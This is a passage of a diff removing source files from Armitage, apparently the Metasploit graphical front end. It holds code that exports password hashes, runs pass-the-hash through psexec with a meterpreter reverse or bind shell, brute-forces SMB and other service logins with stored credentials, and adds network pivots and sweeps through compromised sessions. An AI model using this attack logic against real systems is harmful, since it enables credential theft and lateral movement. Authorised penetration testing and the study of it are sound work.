downloadFile("creds.export", saveFile2());
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
local('$file');
|
|
||||||
$file = saveFile2();
|
|
||||||
$file = strrep($file, '\\', '\\\\');
|
|
||||||
cmd_safe("db_export -f pwdump -a $file", {
|
|
||||||
showError("Saved credentials");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}];
|
|
||||||
|
|
||||||
[$panel add: center($refresh, $crack, $export), [BorderLayout SOUTH]];
|
|
||||||
[$frame addTab: "Credentials", $panel, $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub pass_the_hash {
|
|
||||||
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls');
|
|
||||||
|
|
||||||
($dialog, $table, $model) = show_hashes("Pass the Hash", 360);
|
|
||||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
|
||||||
|
|
||||||
$bottom = [new JPanel];
|
|
||||||
#[$bottom setLayout: [new GridLayout: 4, 1]];
|
|
||||||
[$bottom setLayout: [new BoxLayout: $bottom, [BoxLayout Y_AXIS]]];
|
|
||||||
|
|
||||||
$user = [new ATextField: 32];
|
|
||||||
$pass = [new ATextField: 32];
|
|
||||||
$domain = [new ATextField: 32];
|
|
||||||
[$domain setText: "WORKGROUP"];
|
|
||||||
$brute = [new JCheckBox: "Check all credentials"];
|
|
||||||
|
|
||||||
$button = [new JButton: "Launch"];
|
|
||||||
|
|
||||||
[[$table getSelectionModel] addListSelectionListener: lambda({
|
|
||||||
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
|
|
||||||
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
|
|
||||||
}, \$table, \$model, \$user, \$pass)];
|
|
||||||
|
|
||||||
$reverse = [new JCheckBox: "Use reverse connection"];
|
|
||||||
|
|
||||||
@controls = @($user, $pass, $reverse);
|
|
||||||
|
|
||||||
[$brute addActionListener: lambda({
|
|
||||||
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
|
|
||||||
}, \$brute, \@controls)];
|
|
||||||
|
|
||||||
[$bottom add: label_for("User", 75, $user)];
|
|
||||||
[$bottom add: label_for("Pass", 75, $pass)];
|
|
||||||
[$bottom add: label_for("Domain", 75, $domain)];
|
|
||||||
[$bottom add: left($brute)];
|
|
||||||
[$bottom add: left($reverse)];
|
|
||||||
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('$u $p %options $host');
|
|
||||||
%options["SMBDomain"] = [$domain getText];
|
|
||||||
%options['RPORT'] = "445";
|
|
||||||
|
|
||||||
if ([$brute isSelected]) {
|
|
||||||
%options["RHOSTS"] = join(", ", $hosts);
|
|
||||||
%options["BLANK_PASSWORDS"] = "false";
|
|
||||||
%options["USER_AS_PASS"] = "false";
|
|
||||||
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]), "smb_hash");
|
|
||||||
elog("brute force smb @ " . %options["RHOSTS"]);
|
|
||||||
launchBruteForce("auxiliary", "scanner/smb/smb_login", %options, "brute smb");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
%options["SMBUser"] = [$user getText];
|
|
||||||
%options["SMBPass"] = [$pass getText];
|
|
||||||
%options["LPORT"] = randomPort();
|
|
||||||
|
|
||||||
foreach $host ($hosts) {
|
|
||||||
if ([$reverse isSelected]) {
|
|
||||||
%options["LHOST"] = $MY_ADDRESS;
|
|
||||||
%options["PAYLOAD"] = "windows/meterpreter/reverse_tcp";
|
|
||||||
%options["LPORT"] = randomPort();
|
|
||||||
}
|
|
||||||
else if (isIPv6($host)) {
|
|
||||||
%options["PAYLOAD"] = "windows/meterpreter/bind_ipv6_tcp";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
%options["PAYLOAD"] = "windows/meterpreter/bind_tcp";
|
|
||||||
}
|
|
||||||
%options["RHOST"] = $host;
|
|
||||||
module_execute("exploit", "windows/smb/psexec", copy(%options));
|
|
||||||
}
|
|
||||||
elog("psexec: " . [$user getText] . ":" . [$pass getText] . " @ " . join(", ", $hosts));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!isShift($1)) {
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}
|
|
||||||
}, \$dialog, \$user, \$domain, \$pass, \$reverse, \$hosts, \$brute, \$model)];
|
|
||||||
|
|
||||||
$b2 = [new JPanel];
|
|
||||||
[$b2 setLayout: [new BorderLayout]];
|
|
||||||
[$b2 add: $bottom, [BorderLayout NORTH]];
|
|
||||||
[$b2 add: center($button), [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$dialog add: $b2, [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$dialog pack];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
sub show_login_dialog {
|
|
||||||
local('$port $srvc');
|
|
||||||
($port, $srvc) = values($service, @("port", "name"));
|
|
||||||
|
|
||||||
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls $scroll');
|
|
||||||
|
|
||||||
($dialog, $table, $model) = show_hashes("login", 320);
|
|
||||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
|
||||||
|
|
||||||
$bottom = [new JPanel];
|
|
||||||
[$bottom setLayout: [new GridLayout: 3, 1]];
|
|
||||||
|
|
||||||
$user = [new ATextField: 32];
|
|
||||||
$pass = [new ATextField: 32];
|
|
||||||
$brute = [new JCheckBox: "Check all credentials"];
|
|
||||||
@controls = @($user, $pass);
|
|
||||||
|
|
||||||
$button = [new JButton: "Launch"];
|
|
||||||
|
|
||||||
[[$table getSelectionModel] addListSelectionListener: lambda({
|
|
||||||
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
|
|
||||||
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
|
|
||||||
}, \$table, \$model, \$user, \$pass)];
|
|
||||||
|
|
||||||
[$bottom add: label_for("User", 75, $user)];
|
|
||||||
[$bottom add: label_for("Pass", 75, $pass)];
|
|
||||||
[$bottom add: $brute];
|
|
||||||
|
|
||||||
[$brute addActionListener: lambda({
|
|
||||||
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
|
|
||||||
}, \$brute, \@controls)];
|
|
||||||
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('$u $p %options $host');
|
|
||||||
%options["RHOSTS"] = join(', ', $hosts);
|
|
||||||
%options["RPORT"] = $port;
|
|
||||||
if ([$brute isSelected]) {
|
|
||||||
%options["BLANK_PASSWORDS"] = "false";
|
|
||||||
%options["USER_AS_PASS"] = "false";
|
|
||||||
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]));
|
|
||||||
elog("brute force $srvc @ " . %options["RHOSTS"]);
|
|
||||||
launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options, "brute $srvc");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
%options["USERNAME"] = [$user getText];
|
|
||||||
%options["PASSWORD"] = [$pass getText];
|
|
||||||
%options["BLANK_PASSWORDS"] = "false";
|
|
||||||
%options["USER_AS_PASS"] = "false";
|
|
||||||
warn("$srvc $+ : $port => " . %options);
|
|
||||||
elog("login $srvc with " . [$user getText] . ":" . [$pass getText] . " @ " . %options["RHOSTS"]);
|
|
||||||
module_execute("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
|
|
||||||
}
|
|
||||||
if (!isShift($1)) {
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}
|
|
||||||
}, \$dialog, \$user, \$pass, \$hosts, \$srvc, \$port, \$brute, \$model)];
|
|
||||||
|
|
||||||
$b2 = [new JPanel];
|
|
||||||
[$b2 setLayout: [new BorderLayout]];
|
|
||||||
[$b2 add: $bottom, [BorderLayout NORTH]];
|
|
||||||
[$b2 add: center($button), [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
$scroll = [new JScrollPane: $table];
|
|
||||||
[$scroll setPreferredSize: [new Dimension: 480, 130]];
|
|
||||||
[$dialog add: $scroll, [BorderLayout CENTER]];
|
|
||||||
[$dialog add: $b2, [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$dialog pack];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createUserPassFile {
|
|
||||||
local('$handle $user $pass $type $row $2 $name %entries');
|
|
||||||
$name = "userpass" . rand(10000) . ".txt";
|
|
||||||
|
|
||||||
# loop through our entries and store them
|
|
||||||
%entries = ohash();
|
|
||||||
foreach $row ($1) {
|
|
||||||
($user, $pass, $type) = values($row, @("user", "pass", "ptype"));
|
|
||||||
if ($type eq "password" || $type eq $2) {
|
|
||||||
%entries["$user $pass"] = "$user $pass";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
%entries[$user] = $user;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# print out unique entry values
|
|
||||||
$handle = openf("> $+ $name");
|
|
||||||
printAll($handle, values(%entries));
|
|
||||||
closef($handle);
|
|
||||||
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
local('$file');
|
|
||||||
$file = uploadFile($name);
|
|
||||||
deleteOnExit($name);
|
|
||||||
return $file;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return getFileProper($name);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
|
|
||||||
sub launchBruteForce {
|
|
||||||
thread(lambda({
|
|
||||||
local('$console $key $value');
|
|
||||||
$console = createDisplayTab("$title", $host => "all", $file => "brute_login");
|
|
||||||
[$console addCommand: $null, "use $type $+ / $+ $module"];
|
|
||||||
foreach $key => $value ($options) {
|
|
||||||
$value = strrep($value, '\\', '\\\\');
|
|
||||||
}
|
|
||||||
$options['REMOVE_USERPASS_FILE'] = "true";
|
|
||||||
[$console setOptions: $options];
|
|
||||||
[$console addCommand: $null, "run -j"];
|
|
||||||
[$console start];
|
|
||||||
}, $type => $1, $module => $2, $options => $3, $title => $4));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub credentialHelper {
|
|
||||||
thread(lambda({
|
|
||||||
[Thread yield];
|
|
||||||
|
|
||||||
# gather our credentials please
|
|
||||||
local('$creds $cred @creds');
|
|
||||||
$creds = call($mclient, "db.creds2", [new HashMap])["creds2"];
|
|
||||||
foreach $cred ($creds) {
|
|
||||||
if ($PASS eq "SMBPass" || $cred['ptype'] ne "smb_hash") {
|
|
||||||
push(@creds, $cred);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# pop up a dialog to let the user choose their favorite set
|
|
||||||
quickListDialog("Choose credentials", "Select", @("user", "user", "pass", "host"), @creds, $width => 640, $height => 240, lambda({
|
|
||||||
if ($1 eq "") {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$user $pass');
|
|
||||||
$user = [$3 getSelectedValueFromColumn: $2, 'user'];
|
|
||||||
$pass = [$3 getSelectedValueFromColumn: $2, 'pass'];
|
|
||||||
|
|
||||||
[$model setValueForKey: $USER, "Value", $user];
|
|
||||||
[$model setValueForKey: $PASS, "Value", $pass];
|
|
||||||
[$model fireListeners];
|
|
||||||
}, \$callback, \$model, \$USER, \$PASS));
|
|
||||||
}, \$USER, \$PASS, \$model, $callback => $4));
|
|
||||||
}
|
|
||||||
|
|
|
@ -1,178 +0,0 @@
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import graph.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
sub maskToCIDR {
|
|
||||||
local ('$x');
|
|
||||||
$x = strlen(strrep(formatNumber([Route ipToLong: $1], 10, 2), "0", ""));
|
|
||||||
return $x;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub arp_scan_function {
|
|
||||||
local('$host $mask');
|
|
||||||
$host = [$model getSelectedValueFromColumn: $table, "host"];
|
|
||||||
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
|
|
||||||
|
|
||||||
if ($host ne "" && $mask ne "") {
|
|
||||||
elog("ARP scan: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
|
|
||||||
module_execute("post", "windows/gather/arp_scanner", %(THREADS => 24, SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
|
|
||||||
}
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub ping_sweep_function {
|
|
||||||
local('$host $mask');
|
|
||||||
$host = [$model getSelectedValueFromColumn: $table, "host"];
|
|
||||||
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
|
|
||||||
|
|
||||||
if ($host ne "" && $mask ne "") {
|
|
||||||
elog("ping sweep: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
|
|
||||||
module_execute("post", "multi/gather/ping_sweep", %(SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
|
|
||||||
}
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub add_pivot_function {
|
|
||||||
local('$host $mask');
|
|
||||||
$host = [$model getSelectedValueFromColumn: $table, "host"];
|
|
||||||
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
|
|
||||||
|
|
||||||
if ($host ne "" && $mask ne "") {
|
|
||||||
elog("added pivot: $host $mask $sid", sessionToHost($sid));
|
|
||||||
cmd_safe("route add $host $mask $sid", {
|
|
||||||
if ($3 ne "") { showError($3); }
|
|
||||||
});
|
|
||||||
}
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# pop up a dialog to start our attack with... fun fun fun
|
|
||||||
#
|
|
||||||
|
|
||||||
# pivot_dialog($sid, $network output?))
|
|
||||||
sub pivot_dialog {
|
|
||||||
if ($0 eq "end") {
|
|
||||||
local('$data $platform');
|
|
||||||
$data = sessionData($1);
|
|
||||||
if ($data && 'platform' in $data) {
|
|
||||||
$platform = $data['platform'];
|
|
||||||
}
|
|
||||||
|
|
||||||
# parse through the routing table...
|
|
||||||
local('@tempr $entry $host $mask $gateway @routes');
|
|
||||||
@tempr = parseTextTable($2, @('Subnet', 'Netmask', 'Gateway', 'Metric', 'Interface'));
|
|
||||||
foreach $entry (@tempr) {
|
|
||||||
($host, $mask, $gateway) = values($entry, @('Subnet', 'Netmask', 'Gateway'));
|
|
||||||
|
|
||||||
if ($host ne "127.0.0.1" && $host ne "127.0.0.0" && $host ne "224.0.0.0" && $host ne "0.0.0.0" && $mask ne "255.255.255.255") {
|
|
||||||
# work around a Metasploit bug that returns the host IP/mask rather than the actual route info
|
|
||||||
# for Java meterpreter...
|
|
||||||
if ($platform eq "java/java") {
|
|
||||||
local('$a $b $c $d');
|
|
||||||
($a, $b, $c, $d) = split('\\.', $host);
|
|
||||||
|
|
||||||
if ($mask eq "255.255.255.0") {
|
|
||||||
$host = "$a $+ . $+ $b $+ . $+ $c $+ .0";
|
|
||||||
}
|
|
||||||
else if ($mask eq "255.255.0.0") {
|
|
||||||
$host = "$a $+ . $+ $b $+ .0.0";
|
|
||||||
}
|
|
||||||
else if ($mask eq "255.0.0.0") {
|
|
||||||
$host = "$a $+ .0.0.0";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
push(@routes, %(host => $host, mask => $mask, gateway => $gateway));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# ok, let's close down this handler...
|
|
||||||
$platform = $null;
|
|
||||||
$handler = $null;
|
|
||||||
%handlers["route"] = $null;
|
|
||||||
|
|
||||||
if (size(@routes) == 0) {
|
|
||||||
# eventually, we're going to need to parse IPv6 stuff...
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$dialog $model $table $sorter $center $a $route $button');
|
|
||||||
$dialog = [new JDialog: $__frame__, $title, 0];
|
|
||||||
[$dialog setSize: 320, 240];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
[$dialog setLocationRelativeTo: $__frame__];
|
|
||||||
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$model = [new GenericTableModel: @("host", "mask"), "Option", 8];
|
|
||||||
foreach $route (@routes) {
|
|
||||||
[$model _addEntry: $route];
|
|
||||||
}
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
if (size(@routes) > 0) {
|
|
||||||
[[$table getSelectionModel] addSelectionInterval: 0, 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
$center = [new JScrollPane: $table];
|
|
||||||
|
|
||||||
$a = [new JPanel];
|
|
||||||
[$a setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
|
||||||
|
|
||||||
$button = [new JButton: $label];
|
|
||||||
[$button addActionListener: lambda($function, \$table, \$model, \$dialog, \$sid)];
|
|
||||||
|
|
||||||
[$a add: $button];
|
|
||||||
|
|
||||||
[$dialog add: $center, [BorderLayout CENTER]];
|
|
||||||
[$dialog add: $a, [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$button requestFocus];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setupPivotDialog {
|
|
||||||
return lambda({
|
|
||||||
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Add Pivot", $label => "Add Pivot", $function => &add_pivot_function);
|
|
||||||
m_cmd($sid, "route");
|
|
||||||
}, $sid => "$1");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setupArpScanDialog {
|
|
||||||
return lambda({
|
|
||||||
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "ARP Scan", $label => "ARP Scan", $function => &arp_scan_function);
|
|
||||||
m_cmd($sid, "route");
|
|
||||||
}, $sid => "$1");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setupPingSweepDialog {
|
|
||||||
return lambda({
|
|
||||||
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Ping Sweep", $label => "Ping Sweep", $function => &ping_sweep_function);
|
|
||||||
m_cmd($sid, "route");
|
|
||||||
}, $sid => "$1");
|
|
||||||
}
|
|
||||||
|
|
||||||
# killPivots(sid, session data
|
|
||||||
sub killPivots {
|
|
||||||
local('$route');
|
|
||||||
foreach $route (split(',', $2['routes'])) {
|
|
||||||
cmd_safe("route remove " . strrep($route, '/', ' ') . " $1");
|
|
||||||
}
|
|
||||||
|
|
||||||
elog("removed pivot: " . $2['routes']);
|
|
||||||
}
|
|
|
@ -1,407 +0,0 @@
|
||||||
#
|
|
||||||
# Preferences
|
|
||||||
#
|
|
||||||
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import msf.DatabaseImpl;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
global('$preferences $debug $motd $DATA_DIRECTORY $BASE_DIRECTORY $TITLE $CLIENT_CONFIG');
|
|
||||||
|
|
||||||
sub iHateYaml {
|
|
||||||
local('$handle %result $current $text $key $value');
|
|
||||||
$handle = openf($1);
|
|
||||||
$current = "default";
|
|
||||||
while $text (readln($handle)) {
|
|
||||||
if ($text ismatch '(\w+):') {
|
|
||||||
$current = matched()[0];
|
|
||||||
}
|
|
||||||
else if ($text ismatch '\s+([\w\\.]+): [\'"]{0,1}([\w\\.]+)[\'"]{0,1}') {
|
|
||||||
($key, $value) = matched();
|
|
||||||
%result[$current][$key] = $value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return %result;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub parseYaml {
|
|
||||||
# all heil the Yaml file... holder of the database info.
|
|
||||||
|
|
||||||
local('$database $user $pass $host $port $driver $object $file $setting');
|
|
||||||
($file, $setting) = $2;
|
|
||||||
try {
|
|
||||||
$object = iHateYaml($file);
|
|
||||||
$object = $object[$setting];
|
|
||||||
|
|
||||||
if ($object !is $null) {
|
|
||||||
($user, $pass, $database, $driver, $host, $port) = values($object, @("username", "password", "database", "adapter", "host", "port"));
|
|
||||||
|
|
||||||
[$1 setProperty: "connect.db_connect.string", "$user $+ :\" $+ $pass $+ \"@ $+ $host $+ : $+ $port $+ / $+ $database"];
|
|
||||||
[$1 setProperty: "connect.db_driver.string", $driver];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
showError("Couldn't load yaml file: $file $+ \n $+ $exception");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub loadPreferences {
|
|
||||||
local('$file $prefs');
|
|
||||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
|
||||||
if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) {
|
|
||||||
$prefs = [$__frame__ getPreferences];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$prefs = [new Properties];
|
|
||||||
if (-exists $file) {
|
|
||||||
[$prefs load: [new java.io.FileInputStream: $file]];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$prefs load: resource("resources/armitage.prop")];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($__frame__ !is $null) {
|
|
||||||
[$__frame__ setPreferences: $prefs];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# parse command line options here.
|
|
||||||
|
|
||||||
global('$yaml_file $yaml_entry');
|
|
||||||
local('%env');
|
|
||||||
$yaml_entry = "production";
|
|
||||||
|
|
||||||
%env = convertAll([System getenv]);
|
|
||||||
if ("MSF_DATABASE_CONFIG" in %env) {
|
|
||||||
$yaml_file = %env["MSF_DATABASE_CONFIG"];
|
|
||||||
}
|
|
||||||
|
|
||||||
while (size(@ARGV) > 0) {
|
|
||||||
if (@ARGV[0] eq "-y" && -exists @ARGV[1]) {
|
|
||||||
$yaml_file = @ARGV[1];
|
|
||||||
@ARGV = sublist(@ARGV, 2);
|
|
||||||
}
|
|
||||||
else if (@ARGV[0] eq "-e") {
|
|
||||||
$yaml_entry = @ARGV[1];
|
|
||||||
@ARGV = sublist(@ARGV, 2);
|
|
||||||
}
|
|
||||||
else if (@ARGV[0] eq "--motd" || @ARGV[0] eq "-m") {
|
|
||||||
$motd = @ARGV[1];
|
|
||||||
@ARGV = sublist(@ARGV, 2);
|
|
||||||
if (!-exists $motd) {
|
|
||||||
warn("$motd file does not exist. Clients will not see MOTD.");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if (@ARGV[0] eq "--server") {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
else if (@ARGV[0] eq "--client") {
|
|
||||||
$CLIENT_CONFIG = @ARGV[1];
|
|
||||||
@ARGV = sublist(@ARGV, 2);
|
|
||||||
if (!-exists $CLIENT_CONFIG) {
|
|
||||||
warn("$CLIENT_CONFIG file does not exist. Will show something else.");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
showError("I don't understand these arguments:\n" . join("\n", @ARGV));
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$TITLE = [$prefs getProperty: "armitage.application_title.string", "Armitage"];
|
|
||||||
return $prefs;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub loadDatabasePreferences {
|
|
||||||
if ($yaml_file eq "" || !-exists $yaml_file) {
|
|
||||||
if (thisIsTheirCommercialStuff()) {
|
|
||||||
$yaml_file = getFileProper($BASE_DIRECTORY, "ui", "config", "database.yml");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$yaml_file = getFileProper($BASE_DIRECTORY, "config", "database.yml");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!-exists $yaml_file) {
|
|
||||||
throw [new RuntimeException: "I can not find a database.yml file. I *really* need it.\nTry setting MSF_DATABASE_CONFIG to a file that exists."];
|
|
||||||
}
|
|
||||||
else if (!-canread $yaml_file) {
|
|
||||||
throw [new RuntimeException: "I do not have permission to read: $yaml_file $+ .\nRun me as root please."];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
parseYaml($1, @($yaml_file, $yaml_entry));
|
|
||||||
}
|
|
||||||
return [$1 getProperty: "connect.db_connect.string"];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub savePreferences {
|
|
||||||
try {
|
|
||||||
local('$file $exception');
|
|
||||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
|
||||||
if (-exists getFileParent($file)) {
|
|
||||||
[$preferences save: [new java.io.FileOutputStream: $file], "Armitage Configuration"];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
showError("I could not save your preferences:\n $+ $exception");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$preferences = loadPreferences();
|
|
||||||
|
|
||||||
sub makePrefModel {
|
|
||||||
local('$model');
|
|
||||||
$model = [new GenericTableModel: @("component", "name", "type", "value"), "name", 32];
|
|
||||||
return updatePrefModel($model);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub updatePrefModel {
|
|
||||||
local('$key $value $component $name $type $model');
|
|
||||||
$model = $1;
|
|
||||||
[$model setCellEditable: 3];
|
|
||||||
|
|
||||||
foreach $key => $value (convertAll($preferences)) {
|
|
||||||
($component, $name, $type) = split('\\.', $key);
|
|
||||||
if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder" || $type eq "file") {
|
|
||||||
$type = "$type \u271A";
|
|
||||||
}
|
|
||||||
|
|
||||||
[$model addEntry: %(component => $component, name => $name, type => $type, value => $value, key => "$key")];
|
|
||||||
}
|
|
||||||
return $model;
|
|
||||||
}
|
|
||||||
|
|
||||||
# $select = [new JComboBox: @("Font", "Monospaced", "Courier New", "Courier")];
|
|
||||||
# $style = [new JComboBox: @("Style", "Bold", "Italic", "Bold/Italic")];
|
|
||||||
# $size = [new JComboBox: @("Size")];
|
|
||||||
|
|
||||||
sub selectListener {
|
|
||||||
local('$f_font $f_style $f_size $describe');
|
|
||||||
$f_font = [$select getSelectedItem];
|
|
||||||
$f_style = strrep(uc([$style getSelectedItem]), ' + ', '');
|
|
||||||
$f_size = [$size getSelectedItem];
|
|
||||||
|
|
||||||
$describe = "$f_font $+ - $+ $f_style $+ - $+ $f_size";
|
|
||||||
[$preview setFont: [Font decode: $describe]];
|
|
||||||
[$dialog pack];
|
|
||||||
return $describe;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createPreferencesTab {
|
|
||||||
local('$table $model $panel $sorter $model $l');
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$model = makePrefModel();
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
# allow only one row to be selected at a time.
|
|
||||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
addMouseListener($table, lambda({
|
|
||||||
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
|
|
||||||
local('$sel $type $color $row $value');
|
|
||||||
$sel = [$model getSelectedValue: $table];
|
|
||||||
$type = [$model getSelectedValueFromColumn: $table, "type"];
|
|
||||||
$row = [$model getSelectedRow: $table];
|
|
||||||
$value = [$model getSelectedValueFromColumn: $table, "value"];
|
|
||||||
|
|
||||||
# strip the last two characters off.
|
|
||||||
$type = substr($type, 0, -2);
|
|
||||||
|
|
||||||
if ($type eq "color") {
|
|
||||||
$color = [JColorChooser showDialog: $table, "pick a color", [Color decode: iff($value eq "", "#000000", $value)]];
|
|
||||||
|
|
||||||
if ($color !is $null) {
|
|
||||||
[$model setValueAtRow: $row, "value", '#' . substr(formatNumber(uint([$color getRGB]), 10, 16), 2)];
|
|
||||||
[$model fireListeners];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($type eq "folder") {
|
|
||||||
local('$file');
|
|
||||||
$file = chooseFile($dirsonly => 1);
|
|
||||||
if ($file !is $null) {
|
|
||||||
[$model setValueAtRow: $row, "value", $file];
|
|
||||||
[$model fireListeners];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($type eq "file") {
|
|
||||||
local('$file');
|
|
||||||
$file = chooseFile();
|
|
||||||
if ($file !is $null) {
|
|
||||||
[$model setValueAtRow: $row, "value", $file];
|
|
||||||
[$model fireListeners];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($type eq "font") {
|
|
||||||
local('$dialog $select $style $size $ok $cancel $preview $graphics $l $font $_style');
|
|
||||||
$dialog = dialog("Choose a font", 640, 240);
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$font = [Font decode: $value];
|
|
||||||
|
|
||||||
